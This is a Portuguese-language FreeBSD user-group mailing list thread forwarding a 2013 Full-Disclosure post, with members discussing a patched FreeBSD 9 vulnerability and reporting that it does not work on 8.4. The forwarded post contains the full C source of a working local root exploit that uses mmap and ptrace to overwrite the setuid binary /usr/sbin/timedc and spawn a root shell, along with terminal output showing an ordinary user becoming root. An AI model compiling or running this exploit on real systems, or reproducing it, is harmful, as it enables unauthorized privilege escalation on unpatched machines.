[FUG-BR] Fwd: Happy Birthday FreeBSD! Now you are 20 years old and your security is the same as 20 years ago... :)
Marcelo Gondim
gondim em bsdinfo.com.br
Quinta Junho 20 17:38:43 BRT 2013
Em 20/06/13 15:42, Evandro Nunes escreveu:
> On Thu, Jun 20, 2013 at 9:29 AM, Marcelo Gondim <gondim em bsdinfo.com.br>wrote:
>
>> É pessoal,
>>
>> Sei que a vulnerabilidade foi corrigida agora mas foram 20 anos para
>> detectar isso? :(
>> E funciona lindo mesmo o programa.
>>
> de onde saiu isso que tem 20 anos? pelo pouco que deu pra ler explora uma
> falha do freebsd 9 inclusive o security adv so explora o freebsd 9
> alguem teve sucesso com freebsd 8, 7, outro?
> acho que a frase "seguranca de 20 anos atras" foi apenas ironiazinha
> pelo que vi esse vulnerabilidade nao afeta quem tem debug de processo nao
> root nem quem tem mac_partition ou bsdextended implementado
>
> nego quer é aparecer rss rsss a falha tai, mas não teve 0day inclusive o
> "ultra mega hacker expert" só fez o exploit depois que o advisory foi
> publicado, e ainda levou 2 dias pra conseguir explorar o que ja estava
> documentado e corrigido e vem tirar uma onda de full disclosure...
Pois é recebi isso em uma lista de segurança que assino. Consegui um 8.4
e testei e não rola. Só no 9 mesmo.
Esses caras são uns paiaços mesmo rsrsrsrsrs
>
>
>>
>> -------- Mensagem original --------
>> Assunto: Happy Birthday FreeBSD! Now you are 20 years old and your
>> security is the same as 20 years ago... :)
>> Data: Wed, 19 Jun 2013 23:32:59 +0200
>> De: Hunger <hunger em hunger.hu>
>> Para: full-disclosure em lists.grok.org.uk
>>
>>
>>
>> $ uname -a
>> FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec
>> 4 09:23:10 UTC 2012
>> root em farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
>> $ id
>> uid=1001(hunger) gid=1002(hunger) groups=1002(hunger)
>> $ gcc fbsd9lul.c -o fbsd9lul
>> $ ./fbsd9lul
>> FreeBSD 9.{0,1} mmap/ptrace exploit
>> by Hunger <fbsd9lul em hunger.hu>
>> # id
>> uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger)
>> #
>>
>>
>> ============================ code =========================
>>
>> /*
>> * FreeBSD 9.{0,1} mmap/ptrace exploit
>> * by Hunger<fbsd9lul em hunger.hu>
>> *
>> * Happy Birthday FreeBSD!
>> * Now you are 20 years old and your security is the same as 20 years
>> ago...
>> *
>> * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs,
>> prof,
>> * sd, sghctoma, snq, spender, s2crew and others at
>> #hekkcamp:
>> * I hope we'll meet again at 8 em 1470n
>> *
>> * Special thanks to proactivesec.com
>> *
>> */
>>
>> #include <err.h>
>> #include <errno.h>
>> #include <unistd.h>
>> #include <stdio.h>
>> #include <stdlib.h>
>> #include <string.h>
>> #include <fcntl.h>
>> #include <sys/stat.h>
>> #include <sys/mman.h>
>> #include <sys/types.h>
>> #include <sys/ptrace.h>
>> #include <sys/wait.h>
>>
>> #define SH "/bin/sh"
>> #define TG "/usr/sbin/timedc"
>>
>> int
>> main(int ac, char **av) {
>> int from_fd, to_fd, status;
>> struct stat st;
>> struct ptrace_io_desc piod;
>> char *s, *d;
>> pid_t pid;
>>
>> if (geteuid() == 0) {
>> setuid(0);
>> execl(SH, SH, NULL);
>> return 0;
>> }
>>
>> printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
>> printf("by Hunger<fbsd9lul em hunger.hu>\n");
>>
>> if ((from_fd = open(av[0], O_RDONLY)) == -1 ||
>> (to_fd = open(TG, O_RDONLY)) == -1)
>> err(1, "open");
>>
>> if (stat(av[0], &st) == -1)
>> err(2, "stat");
>>
>> if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,
>> MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||
>> (d = mmap(NULL, (size_t)st.st_size, PROT_READ,
>> MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) ==
>> MAP_FAILED)
>> err(3, "mmap");
>>
>> if ((pid = fork()) == -1)
>> err(4, "fork");
>>
>> if (!pid) {
>> if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
>> err(5, "ptraceme");
>>
>> return 0;
>> }
>>
>> if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)
>> err(6, "ptattach");
>>
>> if (wait(&status) == -1)
>> err(7, "wait");
>>
>> piod.piod_op = PIOD_WRITE_D;
>> piod.piod_offs = d;
>> piod.piod_addr = s;
>> piod.piod_len = st.st_size;
>>
>> if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)
>> err(8, "ptio");
>>
>> execl(TG, TG, NULL);
>>
>> return 0;
>> }
>>
>>
>>
>> -------------------------
>> Histórico: http://www.fug.com.br/historico/html/freebsd/
>> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>
> -------------------------
> Histórico: http://www.fug.com.br/historico/html/freebsd/
> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>
Mais detalhes sobre a lista de discussão freebsd